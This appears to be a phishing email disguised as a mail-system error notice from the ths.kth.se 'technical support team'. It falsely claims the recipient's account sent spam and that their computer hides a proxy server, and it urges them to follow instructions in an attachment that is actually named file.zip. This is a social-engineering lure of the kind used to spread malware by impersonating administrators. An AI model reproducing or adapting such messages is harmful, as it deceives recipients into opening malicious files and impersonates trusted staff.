Mail System Error - Returned Mail

["The Post Office" <MAILER-DAEMON@ths.kth.se>]

Dear user kf-web-archive@ths.kth.se, administration of ths.kth.se would like to let you know that:

Your e-mail account was used to send a large amount of spam during this week.
Obviously, your computer had been compromised and now contains a hidden proxy server.

We recommend you to follow instructions in the attached text file in order to keep your computer safe.

Best wishes,
ths.kth.se technical support team.

file.zip